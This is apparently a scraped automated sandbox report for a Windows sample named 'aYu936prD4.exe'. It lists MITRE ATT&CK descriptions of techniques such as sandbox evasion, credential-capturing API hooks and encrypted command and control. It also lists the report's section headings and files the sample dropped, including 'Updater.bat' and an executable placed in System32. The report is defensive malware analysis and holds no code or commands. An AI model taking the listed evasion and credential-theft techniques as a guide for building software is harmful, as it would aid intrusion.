Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aYu936prD4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aYu936prD4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Aut[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Aut[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Aut[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Aut[1].htm

C:\Users\user\Desktop\UpdatePackage.dat

C:\Users\user\Desktop\Updater.bat

C:\Users\user\Desktop\VivianSpoofer.exe (copy)

C:\Windows\System32\ESCore.exe

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
aYu936prD4.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre